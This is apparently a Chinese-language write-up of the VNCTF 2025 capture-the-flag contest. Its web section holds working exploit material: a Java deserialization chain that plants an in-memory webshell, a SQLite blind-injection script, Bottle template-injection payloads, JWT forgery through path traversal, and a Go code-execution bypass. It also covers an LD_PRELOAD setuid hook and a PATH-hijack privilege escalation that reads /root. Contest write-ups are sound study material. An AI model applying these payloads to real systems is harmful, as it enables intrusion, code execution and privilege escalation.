前言
完 全 败 北
去年是遗憾,今年是惨败
第三年了,本以为今年能打出一个比较满意的成绩,结果web直接爆零了
参考:
https://www.cnblogs.com/LAMENTXU/articles/18705991
http://www.bmth666.cn/2025/02/10/2025-VNCTF-ez-emlog%E5%A4%8D%E7%8E%B0/
签到
欢迎!
做不出可以问DeepSeek R1
给了个sed命令执行, 我们可控的位置在替换字符和读取的文件名
R1启动!使用&
保留匹配的内容
sed 's/{.*}/&/g' /proc/self/environ
flag:VNCTF{wElcome-ANd_H4VE-@-g0OD_TIme_Qfx0BkjJU3SrA39agEv7P3f}
Web
javaGuide(复现)
过滤:
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
String[] denyClasses = new String[]{"com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson"};
int var5 = denyClasses.length;
String[] var5 = denyClasses;
int var6 = denyClasses.length;
for(int var7 = 0; var7 < var6; ++var7) {
String denyClass = var5[var7];
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
控制器:
@Controller
public class IndexController {
public IndexController() {
}
@RequestMapping({"/"})
@ResponseBody
public String index() {
return "hello";
}
@RequestMapping({"/deser"})
@ResponseBody
public String deserialize(@RequestParam String payload) {
byte[] decode = Base64.getDecoder().decode(payload);
try {
MyObjectInputStream myObjectInputStream = new MyObjectInputStream(new ByteArrayInputStream(decode));
myObjectInputStream.readObject();
return "ok";
} catch (InvalidClassException var4) {
return var4.getMessage();
} catch (Exception var5) {
var5.printStackTrace();
return "exception";
}
}
}
很明显是要在不用 com.sun.org.apache.xalan.internal.xsltc.trax , javax.management , com.fasterxml.jackson 的情况下打java反序列化,这ban的都是 templates 和 jackson 链,还有 BadAttributeValueExpException 这个入口
看一下有什么依赖
没cc也是java反序列化的第一步吗(
fastjson1.2.83不出网,还是个高版本要打内存马
到现在我的java还是依托,太难了,学一点忘一点。。
好吧此事在 CISCN2024solonMaster 中亦有记载,这次选择 eventListenerList 链:https://xz.aliyun.com/news/15977
使用 eventListenerList 触发 toString
EventListenerList
UndoManager#toString()
Vector#toString()
BadAttributeValueExpException 没了就 XString,templates 没了就得二次反序列化
不出网打内存马,springboot 2.7.11 打那个 2.6.0+ 版本的内存马即可,注意包名
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Vector;
public class EXP {
public static void main(String[] args) throws Exception {
TemplatesImpl tpl = Utils.memTemplatesImpl();
JSONArray jsonArray = new JSONArray();
jsonArray.add(tpl);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap<Object,Object> hashMap = makeMap(h1,h2);
HashMap hashMap1 = new HashMap();
hashMap1.put(tpl,hashMap);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject=new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) Utils.getFieldValue(undoManager, "edits");
vector.add(jsonArray1);
Utils.SetValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
HashMap hashMap2 = new HashMap();
hashMap2.put(vector,eventListenerList);
String barr = Utils.Serialize(hashMap2);
System.out.println(barr);
Utils.UnSerialize(barr);
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Utils.SetValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Utils.SetValue(s, "table", tbl);
return s;
}
}
payload要发两次才能打进去,第一次会报default constructor not found. class java.security.SignedObject
当多次进行反序列化时,FastJson 会将上一次没有成功的类缓存起来,之后的反序列化就不会再次产生上面的错误,所以只需要多打一次即可:https://www.freebuf.com/articles/network/369855.html
奶龙回家(复现)
本题考点是注入攻击,无需进行字典爆破操作
就一个登录,账密处测试闭合:1"
回显 “账号密码错误!!”,1'
回显 “发生了某种错误??”
fuzz 发现 ban 了=,sleep,空格,union
然后使用1'
闭合后跟#
注释时返回 发生了某种错误??,用--
注释返回 账号密码错误!!
说明使用--
才实现了注释,由此可猜测是 sqlite
注意 sqlite 里没有 sleep 和 if 函数,要测试盲注参考:https://www.freebuf.com/articles/network/324785.html
-1'/**/or/**/(case/**/when(2>1)/**/then/**/randomblob(300000000)/**/else/**/0/**/end)--
成功延时
那么直接上脚本打:
import requests
import time
url = 'http://node.vnteam.cn:47261/login'
flag = ''
for i in range(1, 500):
low = 32
high = 128
mid = (low + high) // 2
while (low < high):
time.sleep(0.2)
payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(name))/**/from/**/sqlite_master),{0},1)>'{1}')/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*".format(i, chr(mid))
# payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(username))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*".format(i, chr(mid))
# payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(password))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*".format(i, chr(mid))
datas = {"username": "1", "password": payload}
# print(datas)
start_time = time.time()
res = requests.post(url=url, json=datas)
end_time = time.time()
spend_time = end_time - start_time
if spend_time >= 0.4: #这里需要调一下。要先跑几次必会延迟的请求测试一下平均延时。
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 127):
break
flag = flag + chr(mid)
print(flag)
print('\n' + bytes.fromhex(flag).decode('utf-8'))
表 users,sqlite_sequence
账密 nailong:woaipangmao114514
访问得到flag
学生姓名登记系统(复现)
Infernity师傅用某个单文件框架给他的老师写了一个“学生姓名登记系统”,并且对用户的输入做了严格的限制,他自认为他的系统无懈可击,但是真的无懈可击吗?
ssti
每行长度不超过23
不解析 lipsum,config,url_for,每一行必须都能解析才能解析ssti,说明不是jinja
ban 了 eval,不让 import
题目描述专门强调用单文件框架,搜一下python单文件框架可以找到 Bottle 框架,手册:https://www.osgeo.cn/bottle/
默认的模板渲染:https://www.osgeo.cn/bottle/stpl.html
用模板函数测试一下
验证成功
因为每行有限制长度,那么思路就是利用这个set实现拼接
但是另一个问题是这里光 {{setdefault('','')}}
就占了 21 个长度,我们不可能直接构造
注意到这里python版本是3.12
python3.8 后引入了海象运算符:=
,此事在 pyjail 里亦有记载
于是构造payload:
{{a:=''.__class__}}
{{b:=a.__base__}}
{{c:=b.__subclasses__}}
{{d:=c()}}
{{e:=d[154]}}
{{f:=e.__init__}}
{{g:=f.__globals__}}
环境变量里找到flag
Gin(复现)
后面时间全梭哈这题了
注册登录后有一个文件上传的接口
jwt伪造
上传后有一个文件下载的接口,可以目录穿越下载 ../config/key.go
package config
func Key() string {
return "r00t32l"
}
func Year() int64 {
return 2025
}
本地生成key
package main
import (
"fmt"
"math/rand"
)
func GenerateKey() string {
rand.Seed(2025)
randomNumber := rand.Intn(1000)
key := fmt.Sprintf("%03d%s", randomNumber, "r00t32l")
fmt.Println(key)
return key
}
func main() {
GenerateKey()
}
得到key:122r00t32l
然后伪造 jwt 的 username 为admin即可登录admin
Goeval RCE
来到admin的代码执行
func Eval(c *gin.Context) {
code := c.PostForm("code")
log.Println(code)
if code == "" {
response.Response(c, http.StatusBadRequest, 400, nil, "No code provided")
return
}
log.Println(containsBannedPackages(code))
if containsBannedPackages(code) {
response.Response(c, http.StatusBadRequest, 400, nil, "Code contains banned packages")
return
}
tmpFile, err := ioutil.TempFile("", "goeval-*.go")
if err != nil {
log.Println("Error creating temp file:", err)
response.Response(c, http.StatusInternalServerError, 500, nil, "Error creating temporary file")
return
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.WriteString(code)
if err != nil {
log.Println("Error writing code to temp file:", err)
response.Response(c, http.StatusInternalServerError, 500, nil, "Error writing code to temp file")
return
}
cmd := exec.Command("go", "run", tmpFile.Name())
output, err := cmd.CombinedOutput()
if err != nil {
log.Println("Error running Go code:", err)
response.Response(c, http.StatusInternalServerError, 500, gin.H{"error": string(output)}, "Error executing code")
return
}
response.Success(c, gin.H{"result": string(output)}, "success")
}
func containsBannedPackages(code string) bool {
importRegex := `(?i)import\s*\((?s:.*?)\)`
re := regexp.MustCompile(importRegex)
matches := re.FindStringSubmatch(code)
imports := matches[0]
log.Println(imports)
if strings.Contains(imports, "os/exec") {
return true
}
return false
}
ban 了 os/exec 依赖
尝试读文件:
package main
import (
"fmt"
"os"
"syscall"
)
func main() {
file, err := os.Open("/flag")
if err != nil {
fmt.Println("Error opening file:", err)
return
}
defer file.Close()
buffer := make([]byte, 1024)
n, err := syscall.Read(int(file.Fd()), buffer)
if err != nil {
fmt.Println("Error reading file:", err)
return
}
fmt.Printf("Read %d bytes: %s\n", n, buffer[:n])
}
/flag 的内容是VNCTF2025!!!
尝试用cgo执行命令
package main
/*
#include <stdio.h>
#include <stdlib.h>
void execute() {
system("ls />/GinTest/uploads/1.txt");
}
*/
import (
"C"
)
func main() {
C.execute()
}
返回go: no Go source files
,寄了
看下环境变量
SHELL=/bin/bash
SUDO_GID=0
HOSTNAME=ret2shell-47-1447
SUDO_COMMAND=/bin/bash
SUDO_USER=root
PWD=/GinTest
LOGNAME=ctfer
HOME=/home/ctfer
TERM=unknown
USER=ctfer
GOPROXY=https://proxy.golang.org,direct
SHLVL=1
PATH=/usr/local/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/go/bin
SUDO_UID=0
MAIL=/var/mail/ctfer
OLDPWD=/home/ctfer
_=./GinTest
尝试只使用 os/exec 命令执行:
package main
import "os/exec"
func main() {
cmd := exec.Command("ls />/GinTest/uploads/1.txt")
_, err := cmd.Output()
if err != nil {
return
}
}
返回500,最后发现import这里必须要有()
发现可以拉 goeval 依赖来命令执行
package main
import (
"fmt"
"github.com/PaulXu-cn/goeval"
)
func main() {
Package := "\"os/exec\"\n fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"ls\",\"/\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\n\n\nvar(a=\"1"
eval, _ := goeval.Eval("", "fmt.Println(\"\")", Package)
fmt.Println(string(eval))
}
预期RCE
预期应该是正则只匹配第一个 import,那么多一个 import 就行
package main
import (
"fmt"
)
import (
"os/exec"
)
func main() {
cmd := exec.Command("/bin/bash", "-c", "ls")
out, err := cmd.CombinedOutput()
fmt.Println(string(out))
fmt.Println(err)
}
然后尝试find提权
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/sudo
/.../Cat
?base64 dump 这个文件下来反编译看一下
🤔
首先会执行 setuid(0)
和 setgid(0)
进行提权
看一下进程:
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 13:07 ? 00:00:00 /bin/bash /root/start.sh
mysql 41 1 0 13:07 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 188 41 0 13:07 ? 00:00:02 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --log-error=/var/log/mysql/error.log --pid-file=ret2shell-47-1447.pid
root 273 1 0 13:07 ? 00:00:00 sudo -u ctfer -i
ctfer 274 273 0 13:07 ? 00:00:00 -bash
ctfer 276 274 0 13:07 ? 00:00:00 ./GinTest
ctfer 2739 276 8 13:12 ? 00:00:00 go run /tmp/goeval-2979922160.go
ctfer 2906 2739 0 13:12 ? 00:00:00 /tmp/go-build1797982035/b001/exe/goeval-2979922160
ctfer 2911 2906 23 13:12 ? 00:00:00 go run /tmp/cremquog/main.go
ctfer 3094 2911 0 13:12 ? 00:00:00 /tmp/go-build898556976/b001/exe/main
ctfer 3099 3094 0 13:12 ? 00:00:00 ps -ef
没有需要注意的
想了一下,可能需要劫持命令,准备so文件
exec.Command(\"/bin/sh\",\"-c\",\"export LD_PRELOAD=/tmp/evil.so;/.../Cat;id\")
失败
参考:https://pankas.top/2022/12/12/rctf-web/#%E7%A4%BA%E4%BE%8B
但是 /etc 文件夹没写权限,寄
结合ida反编译的结果,考虑劫持setuid
hook.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("id");
}
int setuid(__uid_t __uid) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
payload();
}
本地通了远程没通。。。
环境变量提权
参考:https://www.cnblogs.com/1vxyz/articles/17659773.html
原来直接环境变量劫持 cat 就能实现提权,因为这里没用 /bin/cat 而是 cat
直接写个 shell 到 /tmp 下,然后给执行权限写入环境变量,注意这里读取flag要用除了cat以外的命令
然后在没弹shell的环境下,写入环境变量这一步和执行命令这一步需要一起进行,因为每次执行代码都相当于开启一个新的bash,不继承环境变量
echo -e '#!/bin/bash\ntac /root/*' > /tmp/cat
chmod 777 /tmp/cat
export PATH=/tmp:$PATH && /.../Cat
ez_emlog(Unsolved)
install.php
mt_rand的安全问题
Misc
VN_Lang
给了个rust写的程序和源代码
// 渲染文本
// Fake Flag lol
let text1 = "VNCTF{VNCTF";
let text2 = "VNCTFVNCTF";
let text3 = "CTFVNCTFVN";
let text4 = "VNFTCVNFTC";
let text5 = "CTFVNCTFVN}";
let (width, height) = window.get_size();
只需要知道这里的flag是明文存储在程序就行
ida shift+f12 秒了
VNCTF{byRXtpYEF6j8bFCQ7Nf7tZ8EDWcG8Xl4kKXds1pOTF1dV}